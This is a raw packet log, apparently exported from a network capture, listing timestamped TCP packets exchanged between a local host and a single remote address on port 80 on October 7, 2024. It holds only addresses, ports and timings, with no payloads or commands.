Oct 7, 2024 21:19:22.556576967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.556612015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.556729078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.556792021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.556950092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.556969881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.556979895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.556989908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.556997061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557001114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557015896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557019949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557039976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557044983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557065964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557075024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557090044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557116985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557240009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557250023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557255983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557260036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557286024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557296038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.557315111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.557341099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.609498978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.609581947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.609596014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.609606028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.609623909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.609689951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.609751940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.628770113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628828049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628840923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628890991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628901958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628942966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.628983974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.628988028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629003048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629048109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629142046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629152060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629162073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629170895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629180908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629185915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629192114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629220009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629251957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629336119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629416943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629430056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629441023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.629467964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.629488945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.670907021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.670918941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.670928001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671030998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671041012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671050072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671068907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671097040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671137094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671143055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671150923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671152115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671214104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671370983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671390057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671400070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671410084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671425104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671451092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671488047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671502113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671510935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671520948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671544075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671562910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671658039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671672106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671724081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671732903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671747923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671762943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671792030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671827078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671837091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671843052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671848059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671857119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.671888113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.671911955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.672041893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.672055960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.672065973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.672075033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.672118902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.672143936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677320957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677372932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677388906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677455902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677488089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677519083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677531958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677542925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677580118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677603960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677606106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677723885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677736998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677747011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677761078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677771091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677776098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677805901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677825928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.677942038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677953005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.677992105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.678271055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679816008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679893017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.679924011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679935932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679964066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679975033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.679979086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680016041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680064917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680077076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680113077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680156946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680167913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680181026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680210114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680222988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680315971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680329084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680341005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680370092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680394888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680461884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680497885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680512905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680545092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680567980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680596113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680656910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680669069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680680990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680702925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680723906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680733919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680744886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680756092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680788994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680799007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.680919886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680932999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680943966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680953979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680960894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680969954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.680979967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681013107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681152105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681164980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681175947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681185961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681313038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681329966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681339025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681339025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681343079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681350946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681360006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681370020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681374073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681385040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681391001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681437016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681643009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681653976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681668997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681679964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681691885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681691885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681716919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681746006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681871891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681885004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681895018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681905985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.681919098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681943893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.681962013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.734088898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.734174013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.734189987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.734206915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.734230042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.734240055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.734261036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.734288931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.753809929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.753828049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.753843069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.753906965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.753917933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.753921986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.753982067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754039049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754054070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754064083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754074097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754090071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754100084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754105091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754132986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754153967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754332066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754343033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754352093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754373074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754384041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754384995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754400969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754429102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754451036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.754602909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754617929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.754663944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795312881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795346022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795378923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795420885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795450926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795460939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795510054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795542002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795562983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795576096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795600891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795608997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795643091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795656919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795663118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795689106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795734882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795772076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795785904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795794964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795804977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795825005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795850039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795876026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795922995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.795941114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795953035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795962095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.795985937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796010971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796153069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796165943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796174049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796181917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796190977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796202898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796232939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796396971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796410084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796416998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796452045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796452045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796466112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796475887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796482086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796484947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796509027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796544075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796614885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796627998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796636105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.796669960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.796700954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.801866055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.801922083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.801935911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.801937103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.801969051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.801991940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802073956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802086115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802124023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802449942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802500010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802529097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802544117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802586079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802644014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802658081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802670002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802681923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802695036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802719116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802751064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.802891016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.802937031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.804775000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.804840088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.804959059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.804971933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805015087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805126905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805140972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805150032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805160046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805181026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805205107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805279970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805293083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805301905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805310965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805319071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805330992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805361986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805519104 CEST	80	49730	185.215.113.37	192.168.2.4
